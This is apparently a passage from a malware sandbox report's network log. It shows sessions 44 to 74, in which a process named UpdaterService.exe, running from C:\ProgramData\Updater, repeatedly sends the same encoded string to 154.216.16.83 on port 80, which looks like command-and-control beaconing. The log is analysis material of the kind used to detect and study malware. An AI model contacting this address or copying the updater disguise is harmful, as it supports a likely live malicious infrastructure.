Dec 14, 2024 21:40:22.449265003 CET	55	OUT	Data Raw: 35 31 0d 0a 39 30 4b 6b 65 32 57 34 52 49 36 6c 39 75 4b 6b 39 32 39 72 50 30 55 58 39 75 39 30 67 34 50 58 50 30 55 33 65 6c 69 51 50 64 36 31 53 49 48 4e 75 4d 65 Data Ascii: 5190Kke2W4RI6l9uKk929rP0UX9u90g4PXP0U3eliQPd61SIHNuMe
Dec 14, 2024 21:40:23.645545959 CET	33	IN	Data Raw: 41 36 7a 51 7a 78 5a 6d 6b 4e 43 5a 55 36 73 6b 33 49 51 2b 51 7a 43 71 73 74 7a 52 32 58 67 0d 0a Data Ascii: A6zQzxZmkNCZU6sk3IQ+QzCqstzR2Xg

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
44	192.168.2.4	49847	154.216.16.83	80	7636	C:\ProgramData\Updater\UpdaterService.exe

Timestamp	Bytes transferred	Direction	Data
Dec 14, 2024 21:40:24.027735949 CET	55	OUT	Data Raw: 35 31 0d 0a 39 30 4b 6b 65 32 57 34 52 49 36 6c 39 75 4b 6b 39 32 39 72 50 30 55 58 39 75 39 30 67 34 50 58 50 30 55 33 65 6c 69 51 50 64 36 31 53 49 48 4e 75 4d 65 Data Ascii: 5190Kke2W4RI6l9uKk929rP0UX9u90g4PXP0U3eliQPd61SIHNuMe
Dec 14, 2024 21:40:25.239464045 CET	33	IN	Data Raw: 41 36 7a 51 7a 78 5a 6d 6b 4e 43 5a 55 36 73 6b 33 49 51 2b 51 7a 43 71 73 74 7a 52 32 58 67 0d 0a Data Ascii: A6zQzxZmkNCZU6sk3IQ+QzCqstzR2Xg

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
45	192.168.2.4	49849	154.216.16.83	80	7636	C:\ProgramData\Updater\UpdaterService.exe

Timestamp	Bytes transferred	Direction	Data
Dec 14, 2024 21:40:25.589935064 CET	55	OUT	Data Raw: 35 31 0d 0a 39 30 4b 6b 65 32 57 34 52 49 36 6c 39 75 4b 6b 39 32 39 72 50 30 55 58 39 75 39 30 67 34 50 58 50 30 55 33 65 6c 69 51 50 64 36 31 53 49 48 4e 75 4d 65 Data Ascii: 5190Kke2W4RI6l9uKk929rP0UX9u90g4PXP0U3eliQPd61SIHNuMe
Dec 14, 2024 21:40:26.807563066 CET	33	IN	Data Raw: 41 36 7a 51 7a 78 5a 6d 6b 4e 43 5a 55 36 73 6b 33 49 51 2b 51 7a 43 71 73 74 7a 52 32 58 67 0d 0a Data Ascii: A6zQzxZmkNCZU6sk3IQ+QzCqstzR2Xg

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
46	192.168.2.4	49854	154.216.16.83	80	7636	C:\ProgramData\Updater\UpdaterService.exe

Timestamp	Bytes transferred	Direction	Data
Dec 14, 2024 21:40:27.152721882 CET	55	OUT	Data Raw: 35 31 0d 0a 39 30 4b 6b 65 32 57 34 52 49 36 6c 39 75 4b 6b 39 32 39 72 50 30 55 58 39 75 39 30 67 34 50 58 50 30 55 33 65 6c 69 51 50 64 36 31 53 49 48 4e 75 4d 65 Data Ascii: 5190Kke2W4RI6l9uKk929rP0UX9u90g4PXP0U3eliQPd61SIHNuMe
Dec 14, 2024 21:40:28.342376947 CET	33	IN	Data Raw: 41 36 7a 51 7a 78 5a 6d 6b 4e 43 5a 55 36 73 6b 33 49 51 2b 51 7a 43 71 73 74 7a 52 32 58 67 0d 0a Data Ascii: A6zQzxZmkNCZU6sk3IQ+QzCqstzR2Xg

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
47	192.168.2.4	49860	154.216.16.83	80	7636	C:\ProgramData\Updater\UpdaterService.exe

Timestamp	Bytes transferred	Direction	Data
Dec 14, 2024 21:40:28.683681965 CET	55	OUT	Data Raw: 35 31 0d 0a 39 30 4b 6b 65 32 57 34 52 49 36 6c 39 75 4b 6b 39 32 39 72 50 30 55 58 39 75 39 30 67 34 50 58 50 30 55 33 65 6c 69 51 50 64 36 31 53 49 48 4e 75 4d 65 Data Ascii: 5190Kke2W4RI6l9uKk929rP0UX9u90g4PXP0U3eliQPd61SIHNuMe
Dec 14, 2024 21:40:29.872703075 CET	33	IN	Data Raw: 41 36 7a 51 7a 78 5a 6d 6b 4e 43 5a 55 36 73 6b 33 49 51 2b 51 7a 43 71 73 74 7a 52 32 58 67 0d 0a Data Ascii: A6zQzxZmkNCZU6sk3IQ+QzCqstzR2Xg

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
48	192.168.2.4	49866	154.216.16.83	80	7636	C:\ProgramData\Updater\UpdaterService.exe

Timestamp	Bytes transferred	Direction	Data
Dec 14, 2024 21:40:30.214823961 CET	55	OUT	Data Raw: 35 31 0d 0a 39 30 4b 6b 65 32 57 34 52 49 36 6c 39 75 4b 6b 39 32 39 72 50 30 55 58 39 75 39 30 67 34 50 58 50 30 55 33 65 6c 69 51 50 64 36 31 53 49 48 4e 75 4d 65 Data Ascii: 5190Kke2W4RI6l9uKk929rP0UX9u90g4PXP0U3eliQPd61SIHNuMe
Dec 14, 2024 21:40:31.399799109 CET	33	IN	Data Raw: 41 36 7a 51 7a 78 5a 6d 6b 4e 43 5a 55 36 73 6b 33 49 51 2b 51 7a 43 71 73 74 7a 52 32 58 67 0d 0a Data Ascii: A6zQzxZmkNCZU6sk3IQ+QzCqstzR2Xg

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
49	192.168.2.4	49867	154.216.16.83	80	7636	C:\ProgramData\Updater\UpdaterService.exe

Timestamp	Bytes transferred	Direction	Data
Dec 14, 2024 21:40:31.766427040 CET	55	OUT	Data Raw: 35 31 0d 0a 39 30 4b 6b 65 32 57 34 52 49 36 6c 39 75 4b 6b 39 32 39 72 50 30 55 58 39 75 39 30 67 34 50 58 50 30 55 33 65 6c 69 51 50 64 36 31 53 49 48 4e 75 4d 65 Data Ascii: 5190Kke2W4RI6l9uKk929rP0UX9u90g4PXP0U3eliQPd61SIHNuMe
Dec 14, 2024 21:40:32.939160109 CET	33	IN	Data Raw: 41 36 7a 51 7a 78 5a 6d 6b 4e 43 5a 55 36 73 6b 33 49 51 2b 51 7a 43 71 73 74 7a 52 32 58 67 0d 0a Data Ascii: A6zQzxZmkNCZU6sk3IQ+QzCqstzR2Xg

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
50	192.168.2.4	49873	154.216.16.83	80	7636	C:\ProgramData\Updater\UpdaterService.exe

Timestamp	Bytes transferred	Direction	Data
Dec 14, 2024 21:40:33.277667999 CET	55	OUT	Data Raw: 35 31 0d 0a 39 30 4b 6b 65 32 57 34 52 49 36 6c 39 75 4b 6b 39 32 39 72 50 30 55 58 39 75 39 30 67 34 50 58 50 30 55 33 65 6c 69 51 50 64 36 31 53 49 48 4e 75 4d 65 Data Ascii: 5190Kke2W4RI6l9uKk929rP0UX9u90g4PXP0U3eliQPd61SIHNuMe
Dec 14, 2024 21:40:34.942262888 CET	33	IN	Data Raw: 41 36 7a 51 7a 78 5a 6d 6b 4e 43 5a 55 36 73 6b 33 49 51 2b 51 7a 43 71 73 74 7a 52 32 58 67 0d 0a Data Ascii: A6zQzxZmkNCZU6sk3IQ+QzCqstzR2Xg
Dec 14, 2024 21:40:34.942509890 CET	33	IN	Data Raw: 41 36 7a 51 7a 78 5a 6d 6b 4e 43 5a 55 36 73 6b 33 49 51 2b 51 7a 43 71 73 74 7a 52 32 58 67 0d 0a Data Ascii: A6zQzxZmkNCZU6sk3IQ+QzCqstzR2Xg

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
51	192.168.2.4	49879	154.216.16.83	80	7636	C:\ProgramData\Updater\UpdaterService.exe

Timestamp	Bytes transferred	Direction	Data
Dec 14, 2024 21:40:35.277606010 CET	55	OUT	Data Raw: 35 31 0d 0a 39 30 4b 6b 65 32 57 34 52 49 36 6c 39 75 4b 6b 39 32 39 72 50 30 55 58 39 75 39 30 67 34 50 58 50 30 55 33 65 6c 69 51 50 64 36 31 53 49 48 4e 75 4d 65 Data Ascii: 5190Kke2W4RI6l9uKk929rP0UX9u90g4PXP0U3eliQPd61SIHNuMe
Dec 14, 2024 21:40:36.477694988 CET	33	IN	Data Raw: 41 36 7a 51 7a 78 5a 6d 6b 4e 43 5a 55 36 73 6b 33 49 51 2b 51 7a 43 71 73 74 7a 52 32 58 67 0d 0a Data Ascii: A6zQzxZmkNCZU6sk3IQ+QzCqstzR2Xg

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
52	192.168.2.4	49880	154.216.16.83	80	7636	C:\ProgramData\Updater\UpdaterService.exe

Timestamp	Bytes transferred	Direction	Data
Dec 14, 2024 21:40:36.824342966 CET	55	OUT	Data Raw: 35 31 0d 0a 39 30 4b 6b 65 32 57 34 52 49 36 6c 39 75 4b 6b 39 32 39 72 50 30 55 58 39 75 39 30 67 34 50 58 50 30 55 33 65 6c 69 51 50 64 36 31 53 49 48 4e 75 4d 65 Data Ascii: 5190Kke2W4RI6l9uKk929rP0UX9u90g4PXP0U3eliQPd61SIHNuMe
Dec 14, 2024 21:40:38.009968996 CET	33	IN	Data Raw: 41 36 7a 51 7a 78 5a 6d 6b 4e 43 5a 55 36 73 6b 33 49 51 2b 51 7a 43 71 73 74 7a 52 32 58 67 0d 0a Data Ascii: A6zQzxZmkNCZU6sk3IQ+QzCqstzR2Xg

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
53	192.168.2.4	49886	154.216.16.83	80	7636	C:\ProgramData\Updater\UpdaterService.exe

Timestamp	Bytes transferred	Direction	Data
Dec 14, 2024 21:40:38.355451107 CET	55	OUT	Data Raw: 35 31 0d 0a 39 30 4b 6b 65 32 57 34 52 49 36 6c 39 75 4b 6b 39 32 39 72 50 30 55 58 39 75 39 30 67 34 50 58 50 30 55 33 65 6c 69 51 50 64 36 31 53 49 48 4e 75 4d 65 Data Ascii: 5190Kke2W4RI6l9uKk929rP0UX9u90g4PXP0U3eliQPd61SIHNuMe
Dec 14, 2024 21:40:39.544174910 CET	33	IN	Data Raw: 41 36 7a 51 7a 78 5a 6d 6b 4e 43 5a 55 36 73 6b 33 49 51 2b 51 7a 43 71 73 74 7a 52 32 58 67 0d 0a Data Ascii: A6zQzxZmkNCZU6sk3IQ+QzCqstzR2Xg

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
54	192.168.2.4	49892	154.216.16.83	80	7636	C:\ProgramData\Updater\UpdaterService.exe

Timestamp	Bytes transferred	Direction	Data
Dec 14, 2024 21:40:39.886723042 CET	55	OUT	Data Raw: 35 31 0d 0a 39 30 4b 6b 65 32 57 34 52 49 36 6c 39 75 4b 6b 39 32 39 72 50 30 55 58 39 75 39 30 67 34 50 58 50 30 55 33 65 6c 69 51 50 64 36 31 53 49 48 4e 75 4d 65 Data Ascii: 5190Kke2W4RI6l9uKk929rP0UX9u90g4PXP0U3eliQPd61SIHNuMe
Dec 14, 2024 21:40:41.071608067 CET	33	IN	Data Raw: 41 36 7a 51 7a 78 5a 6d 6b 4e 43 5a 55 36 73 6b 33 49 51 2b 51 7a 43 71 73 74 7a 52 32 58 67 0d 0a Data Ascii: A6zQzxZmkNCZU6sk3IQ+QzCqstzR2Xg

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
55	192.168.2.4	49893	154.216.16.83	80	7636	C:\ProgramData\Updater\UpdaterService.exe

Timestamp	Bytes transferred	Direction	Data
Dec 14, 2024 21:40:41.418373108 CET	55	OUT	Data Raw: 35 31 0d 0a 39 30 4b 6b 65 32 57 34 52 49 36 6c 39 75 4b 6b 39 32 39 72 50 30 55 58 39 75 39 30 67 34 50 58 50 30 55 33 65 6c 69 51 50 64 36 31 53 49 48 4e 75 4d 65 Data Ascii: 5190Kke2W4RI6l9uKk929rP0UX9u90g4PXP0U3eliQPd61SIHNuMe
Dec 14, 2024 21:40:42.602765083 CET	33	IN	Data Raw: 41 36 7a 51 7a 78 5a 6d 6b 4e 43 5a 55 36 73 6b 33 49 51 2b 51 7a 43 71 73 74 7a 52 32 58 67 0d 0a Data Ascii: A6zQzxZmkNCZU6sk3IQ+QzCqstzR2Xg

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
56	192.168.2.4	49899	154.216.16.83	80	7636	C:\ProgramData\Updater\UpdaterService.exe

Timestamp	Bytes transferred	Direction	Data
Dec 14, 2024 21:40:42.966475964 CET	55	OUT	Data Raw: 35 31 0d 0a 39 30 4b 6b 65 32 57 34 52 49 36 6c 39 75 4b 6b 39 32 39 72 50 30 55 58 39 75 39 30 67 34 50 58 50 30 55 33 65 6c 69 51 50 64 36 31 53 49 48 4e 75 4d 65 Data Ascii: 5190Kke2W4RI6l9uKk929rP0UX9u90g4PXP0U3eliQPd61SIHNuMe
Dec 14, 2024 21:40:44.132848978 CET	33	IN	Data Raw: 41 36 7a 51 7a 78 5a 6d 6b 4e 43 5a 55 36 73 6b 33 49 51 2b 51 7a 43 71 73 74 7a 52 32 58 67 0d 0a Data Ascii: A6zQzxZmkNCZU6sk3IQ+QzCqstzR2Xg

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
57	192.168.2.4	49905	154.216.16.83	80	7636	C:\ProgramData\Updater\UpdaterService.exe

Timestamp	Bytes transferred	Direction	Data
Dec 14, 2024 21:40:44.480521917 CET	55	OUT	Data Raw: 35 31 0d 0a 39 30 4b 6b 65 32 57 34 52 49 36 6c 39 75 4b 6b 39 32 39 72 50 30 55 58 39 75 39 30 67 34 50 58 50 30 55 33 65 6c 69 51 50 64 36 31 53 49 48 4e 75 4d 65 Data Ascii: 5190Kke2W4RI6l9uKk929rP0UX9u90g4PXP0U3eliQPd61SIHNuMe
Dec 14, 2024 21:40:45.697948933 CET	33	IN	Data Raw: 41 36 7a 51 7a 78 5a 6d 6b 4e 43 5a 55 36 73 6b 33 49 51 2b 51 7a 43 71 73 74 7a 52 32 58 67 0d 0a Data Ascii: A6zQzxZmkNCZU6sk3IQ+QzCqstzR2Xg

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
58	192.168.2.4	49908	154.216.16.83	80	7636	C:\ProgramData\Updater\UpdaterService.exe

Timestamp	Bytes transferred	Direction	Data
Dec 14, 2024 21:40:46.083806038 CET	55	OUT	Data Raw: 35 31 0d 0a 39 30 4b 6b 65 32 57 34 52 49 36 6c 39 75 4b 6b 39 32 39 72 50 30 55 58 39 75 39 30 67 34 50 58 50 30 55 33 65 6c 69 51 50 64 36 31 53 49 48 4e 75 4d 65 Data Ascii: 5190Kke2W4RI6l9uKk929rP0UX9u90g4PXP0U3eliQPd61SIHNuMe
Dec 14, 2024 21:40:47.274607897 CET	33	IN	Data Raw: 41 36 7a 51 7a 78 5a 6d 6b 4e 43 5a 55 36 73 6b 33 49 51 2b 51 7a 43 71 73 74 7a 52 32 58 67 0d 0a Data Ascii: A6zQzxZmkNCZU6sk3IQ+QzCqstzR2Xg

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
59	192.168.2.4	49912	154.216.16.83	80	7636	C:\ProgramData\Updater\UpdaterService.exe

Timestamp	Bytes transferred	Direction	Data
Dec 14, 2024 21:40:47.621614933 CET	55	OUT	Data Raw: 35 31 0d 0a 39 30 4b 6b 65 32 57 34 52 49 36 6c 39 75 4b 6b 39 32 39 72 50 30 55 58 39 75 39 30 67 34 50 58 50 30 55 33 65 6c 69 51 50 64 36 31 53 49 48 4e 75 4d 65 Data Ascii: 5190Kke2W4RI6l9uKk929rP0UX9u90g4PXP0U3eliQPd61SIHNuMe
Dec 14, 2024 21:40:48.816082001 CET	33	IN	Data Raw: 41 36 7a 51 7a 78 5a 6d 6b 4e 43 5a 55 36 73 6b 33 49 51 2b 51 7a 43 71 73 74 7a 52 32 58 67 0d 0a Data Ascii: A6zQzxZmkNCZU6sk3IQ+QzCqstzR2Xg

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
60	192.168.2.4	49918	154.216.16.83	80	7636	C:\ProgramData\Updater\UpdaterService.exe

Timestamp	Bytes transferred	Direction	Data
Dec 14, 2024 21:40:49.152465105 CET	55	OUT	Data Raw: 35 31 0d 0a 39 30 4b 6b 65 32 57 34 52 49 36 6c 39 75 4b 6b 39 32 39 72 50 30 55 58 39 75 39 30 67 34 50 58 50 30 55 33 65 6c 69 51 50 64 36 31 53 49 48 4e 75 4d 65 Data Ascii: 5190Kke2W4RI6l9uKk929rP0UX9u90g4PXP0U3eliQPd61SIHNuMe
Dec 14, 2024 21:40:50.386004925 CET	33	IN	Data Raw: 41 36 7a 51 7a 78 5a 6d 6b 4e 43 5a 55 36 73 6b 33 49 51 2b 51 7a 43 71 73 74 7a 52 32 58 67 0d 0a Data Ascii: A6zQzxZmkNCZU6sk3IQ+QzCqstzR2Xg

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
61	192.168.2.4	49924	154.216.16.83	80	7636	C:\ProgramData\Updater\UpdaterService.exe

Timestamp	Bytes transferred	Direction	Data
Dec 14, 2024 21:40:50.730537891 CET	55	OUT	Data Raw: 35 31 0d 0a 39 30 4b 6b 65 32 57 34 52 49 36 6c 39 75 4b 6b 39 32 39 72 50 30 55 58 39 75 39 30 67 34 50 58 50 30 55 33 65 6c 69 51 50 64 36 31 53 49 48 4e 75 4d 65 Data Ascii: 5190Kke2W4RI6l9uKk929rP0UX9u90g4PXP0U3eliQPd61SIHNuMe
Dec 14, 2024 21:40:51.925781012 CET	33	IN	Data Raw: 41 36 7a 51 7a 78 5a 6d 6b 4e 43 5a 55 36 73 6b 33 49 51 2b 51 7a 43 71 73 74 7a 52 32 58 67 0d 0a Data Ascii: A6zQzxZmkNCZU6sk3IQ+QzCqstzR2Xg

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
62	192.168.2.4	49925	154.216.16.83	80	7636	C:\ProgramData\Updater\UpdaterService.exe

Timestamp	Bytes transferred	Direction	Data
Dec 14, 2024 21:40:52.261920929 CET	55	OUT	Data Raw: 35 31 0d 0a 39 30 4b 6b 65 32 57 34 52 49 36 6c 39 75 4b 6b 39 32 39 72 50 30 55 58 39 75 39 30 67 34 50 58 50 30 55 33 65 6c 69 51 50 64 36 31 53 49 48 4e 75 4d 65 Data Ascii: 5190Kke2W4RI6l9uKk929rP0UX9u90g4PXP0U3eliQPd61SIHNuMe
Dec 14, 2024 21:40:53.457479954 CET	33	IN	Data Raw: 41 36 7a 51 7a 78 5a 6d 6b 4e 43 5a 55 36 73 6b 33 49 51 2b 51 7a 43 71 73 74 7a 52 32 58 67 0d 0a Data Ascii: A6zQzxZmkNCZU6sk3IQ+QzCqstzR2Xg

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
63	192.168.2.4	49931	154.216.16.83	80	7636	C:\ProgramData\Updater\UpdaterService.exe

Timestamp	Bytes transferred	Direction	Data
Dec 14, 2024 21:40:53.793092012 CET	55	OUT	Data Raw: 35 31 0d 0a 39 30 4b 6b 65 32 57 34 52 49 36 6c 39 75 4b 6b 39 32 39 72 50 30 55 58 39 75 39 30 67 34 50 58 50 30 55 33 65 6c 69 51 50 64 36 31 53 49 48 4e 75 4d 65 Data Ascii: 5190Kke2W4RI6l9uKk929rP0UX9u90g4PXP0U3eliQPd61SIHNuMe
Dec 14, 2024 21:40:54.980138063 CET	33	IN	Data Raw: 41 36 7a 51 7a 78 5a 6d 6b 4e 43 5a 55 36 73 6b 33 49 51 2b 51 7a 43 71 73 74 7a 52 32 58 67 0d 0a Data Ascii: A6zQzxZmkNCZU6sk3IQ+QzCqstzR2Xg

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
64	192.168.2.4	49937	154.216.16.83	80	7636	C:\ProgramData\Updater\UpdaterService.exe

Timestamp	Bytes transferred	Direction	Data
Dec 14, 2024 21:40:55.324587107 CET	55	OUT	Data Raw: 35 31 0d 0a 39 30 4b 6b 65 32 57 34 52 49 36 6c 39 75 4b 6b 39 32 39 72 50 30 55 58 39 75 39 30 67 34 50 58 50 30 55 33 65 6c 69 51 50 64 36 31 53 49 48 4e 75 4d 65 Data Ascii: 5190Kke2W4RI6l9uKk929rP0UX9u90g4PXP0U3eliQPd61SIHNuMe
Dec 14, 2024 21:40:56.518454075 CET	33	IN	Data Raw: 41 36 7a 51 7a 78 5a 6d 6b 4e 43 5a 55 36 73 6b 33 49 51 2b 51 7a 43 71 73 74 7a 52 32 58 67 0d 0a Data Ascii: A6zQzxZmkNCZU6sk3IQ+QzCqstzR2Xg

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
65	192.168.2.4	49938	154.216.16.83	80	7636	C:\ProgramData\Updater\UpdaterService.exe

Timestamp	Bytes transferred	Direction	Data
Dec 14, 2024 21:40:56.855446100 CET	55	OUT	Data Raw: 35 31 0d 0a 39 30 4b 6b 65 32 57 34 52 49 36 6c 39 75 4b 6b 39 32 39 72 50 30 55 58 39 75 39 30 67 34 50 58 50 30 55 33 65 6c 69 51 50 64 36 31 53 49 48 4e 75 4d 65 Data Ascii: 5190Kke2W4RI6l9uKk929rP0UX9u90g4PXP0U3eliQPd61SIHNuMe
Dec 14, 2024 21:40:58.049567938 CET	33	IN	Data Raw: 41 36 7a 51 7a 78 5a 6d 6b 4e 43 5a 55 36 73 6b 33 49 51 2b 51 7a 43 71 73 74 7a 52 32 58 67 0d 0a Data Ascii: A6zQzxZmkNCZU6sk3IQ+QzCqstzR2Xg

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
66	192.168.2.4	49944	154.216.16.83	80	7636	C:\ProgramData\Updater\UpdaterService.exe

Timestamp	Bytes transferred	Direction	Data
Dec 14, 2024 21:40:58.389786005 CET	55	OUT	Data Raw: 35 31 0d 0a 39 30 4b 6b 65 32 57 34 52 49 36 6c 39 75 4b 6b 39 32 39 72 50 30 55 58 39 75 39 30 67 34 50 58 50 30 55 33 65 6c 69 51 50 64 36 31 53 49 48 4e 75 4d 65 Data Ascii: 5190Kke2W4RI6l9uKk929rP0UX9u90g4PXP0U3eliQPd61SIHNuMe
Dec 14, 2024 21:40:59.583189011 CET	33	IN	Data Raw: 41 36 7a 51 7a 78 5a 6d 6b 4e 43 5a 55 36 73 6b 33 49 51 2b 51 7a 43 71 73 74 7a 52 32 58 67 0d 0a Data Ascii: A6zQzxZmkNCZU6sk3IQ+QzCqstzR2Xg

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
67	192.168.2.4	49950	154.216.16.83	80	7636	C:\ProgramData\Updater\UpdaterService.exe

Timestamp	Bytes transferred	Direction	Data
Dec 14, 2024 21:40:59.919420958 CET	55	OUT	Data Raw: 35 31 0d 0a 39 30 4b 6b 65 32 57 34 52 49 36 6c 39 75 4b 6b 39 32 39 72 50 30 55 58 39 75 39 30 67 34 50 58 50 30 55 33 65 6c 69 51 50 64 36 31 53 49 48 4e 75 4d 65 Data Ascii: 5190Kke2W4RI6l9uKk929rP0UX9u90g4PXP0U3eliQPd61SIHNuMe
Dec 14, 2024 21:41:01.101385117 CET	33	IN	Data Raw: 41 36 7a 51 7a 78 5a 6d 6b 4e 43 5a 55 36 73 6b 33 49 51 2b 51 7a 43 71 73 74 7a 52 32 58 67 0d 0a Data Ascii: A6zQzxZmkNCZU6sk3IQ+QzCqstzR2Xg

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
68	192.168.2.4	49955	154.216.16.83	80	7636	C:\ProgramData\Updater\UpdaterService.exe

Timestamp	Bytes transferred	Direction	Data
Dec 14, 2024 21:41:01.449304104 CET	55	OUT	Data Raw: 35 31 0d 0a 39 30 4b 6b 65 32 57 34 52 49 36 6c 39 75 4b 6b 39 32 39 72 50 30 55 58 39 75 39 30 67 34 50 58 50 30 55 33 65 6c 69 51 50 64 36 31 53 49 48 4e 75 4d 65 Data Ascii: 5190Kke2W4RI6l9uKk929rP0UX9u90g4PXP0U3eliQPd61SIHNuMe
Dec 14, 2024 21:41:02.637125015 CET	33	IN	Data Raw: 41 36 7a 51 7a 78 5a 6d 6b 4e 43 5a 55 36 73 6b 33 49 51 2b 51 7a 43 71 73 74 7a 52 32 58 67 0d 0a Data Ascii: A6zQzxZmkNCZU6sk3IQ+QzCqstzR2Xg

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
69	192.168.2.4	49957	154.216.16.83	80	7636	C:\ProgramData\Updater\UpdaterService.exe

Timestamp	Bytes transferred	Direction	Data
Dec 14, 2024 21:41:02.982644081 CET	55	OUT	Data Raw: 35 31 0d 0a 39 30 4b 6b 65 32 57 34 52 49 36 6c 39 75 4b 6b 39 32 39 72 50 30 55 58 39 75 39 30 67 34 50 58 50 30 55 33 65 6c 69 51 50 64 36 31 53 49 48 4e 75 4d 65 Data Ascii: 5190Kke2W4RI6l9uKk929rP0UX9u90g4PXP0U3eliQPd61SIHNuMe
Dec 14, 2024 21:41:04.169181108 CET	33	IN	Data Raw: 41 36 7a 51 7a 78 5a 6d 6b 4e 43 5a 55 36 73 6b 33 49 51 2b 51 7a 43 71 73 74 7a 52 32 58 67 0d 0a Data Ascii: A6zQzxZmkNCZU6sk3IQ+QzCqstzR2Xg

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
70	192.168.2.4	49963	154.216.16.83	80	7636	C:\ProgramData\Updater\UpdaterService.exe

Timestamp	Bytes transferred	Direction	Data
Dec 14, 2024 21:41:04.512512922 CET	55	OUT	Data Raw: 35 31 0d 0a 39 30 4b 6b 65 32 57 34 52 49 36 6c 39 75 4b 6b 39 32 39 72 50 30 55 58 39 75 39 30 67 34 50 58 50 30 55 33 65 6c 69 51 50 64 36 31 53 49 48 4e 75 4d 65 Data Ascii: 5190Kke2W4RI6l9uKk929rP0UX9u90g4PXP0U3eliQPd61SIHNuMe
Dec 14, 2024 21:41:05.700937986 CET	33	IN	Data Raw: 41 36 7a 51 7a 78 5a 6d 6b 4e 43 5a 55 36 73 6b 33 49 51 2b 51 7a 43 71 73 74 7a 52 32 58 67 0d 0a Data Ascii: A6zQzxZmkNCZU6sk3IQ+QzCqstzR2Xg

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
71	192.168.2.4	49969	154.216.16.83	80	7636	C:\ProgramData\Updater\UpdaterService.exe

Timestamp	Bytes transferred	Direction	Data
Dec 14, 2024 21:41:06.043625116 CET	55	OUT	Data Raw: 35 31 0d 0a 39 30 4b 6b 65 32 57 34 52 49 36 6c 39 75 4b 6b 39 32 39 72 50 30 55 58 39 75 39 30 67 34 50 58 50 30 55 33 65 6c 69 51 50 64 36 31 53 49 48 4e 75 4d 65 Data Ascii: 5190Kke2W4RI6l9uKk929rP0UX9u90g4PXP0U3eliQPd61SIHNuMe
Dec 14, 2024 21:41:07.228804111 CET	33	IN	Data Raw: 41 36 7a 51 7a 78 5a 6d 6b 4e 43 5a 55 36 73 6b 33 49 51 2b 51 7a 43 71 73 74 7a 52 32 58 67 0d 0a Data Ascii: A6zQzxZmkNCZU6sk3IQ+QzCqstzR2Xg

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
72	192.168.2.4	49970	154.216.16.83	80	7636	C:\ProgramData\Updater\UpdaterService.exe

Timestamp	Bytes transferred	Direction	Data
Dec 14, 2024 21:41:07.574331045 CET	55	OUT	Data Raw: 35 31 0d 0a 39 30 4b 6b 65 32 57 34 52 49 36 6c 39 75 4b 6b 39 32 39 72 50 30 55 58 39 75 39 30 67 34 50 58 50 30 55 33 65 6c 69 51 50 64 36 31 53 49 48 4e 75 4d 65 Data Ascii: 5190Kke2W4RI6l9uKk929rP0UX9u90g4PXP0U3eliQPd61SIHNuMe
Dec 14, 2024 21:41:08.778402090 CET	33	IN	Data Raw: 41 36 7a 51 7a 78 5a 6d 6b 4e 43 5a 55 36 73 6b 33 49 51 2b 51 7a 43 71 73 74 7a 52 32 58 67 0d 0a Data Ascii: A6zQzxZmkNCZU6sk3IQ+QzCqstzR2Xg

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
73	192.168.2.4	49976	154.216.16.83	80	7636	C:\ProgramData\Updater\UpdaterService.exe

Timestamp	Bytes transferred	Direction	Data
Dec 14, 2024 21:41:09.121279001 CET	55	OUT	Data Raw: 35 31 0d 0a 39 30 4b 6b 65 32 57 34 52 49 36 6c 39 75 4b 6b 39 32 39 72 50 30 55 58 39 75 39 30 67 34 50 58 50 30 55 33 65 6c 69 51 50 64 36 31 53 49 48 4e 75 4d 65 Data Ascii: 5190Kke2W4RI6l9uKk929rP0UX9u90g4PXP0U3eliQPd61SIHNuMe
Dec 14, 2024 21:41:10.311145067 CET	33	IN	Data Raw: 41 36 7a 51 7a 78 5a 6d 6b 4e 43 5a 55 36 73 6b 33 49 51 2b 51 7a 43 71 73 74 7a 52 32 58 67 0d 0a Data Ascii: A6zQzxZmkNCZU6sk3IQ+QzCqstzR2Xg

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
74	192.168.2.4	49982	154.216.16.83	80	7636	C:\ProgramData\Updater\UpdaterService.exe

Timestamp	Bytes transferred	Direction	Data
Dec 14, 2024 21:41:10.652932882 CET	55	OUT	Data Raw: 35 31 0d 0a 39 30 4b 6b 65 32 57 34 52 49 36 6c 39 75 4b 6b 39 32 39 72 50 30 55 58 39 75 39 30 67 34 50 58 50 30 55 33 65 6c 69 51 50 64 36 31 53 49 48 4e 75 4d 65 Data Ascii: 5190Kke2W4RI6l9uKk929rP0UX9u90g4PXP0U3eliQPd61SIHNuMe
Dec 14, 2024 21:41:11.858522892 CET	33	IN	Data Raw: 41 36 7a 51 7a 78 5a 6d 6b 4e 43 5a 55 36 73 6b 33 49 51 2b 51 7a 43 71 73 74 7a 52 32 58 67 0d 0a Data Ascii: A6zQzxZmkNCZU6sk3IQ+QzCqstzR2Xg

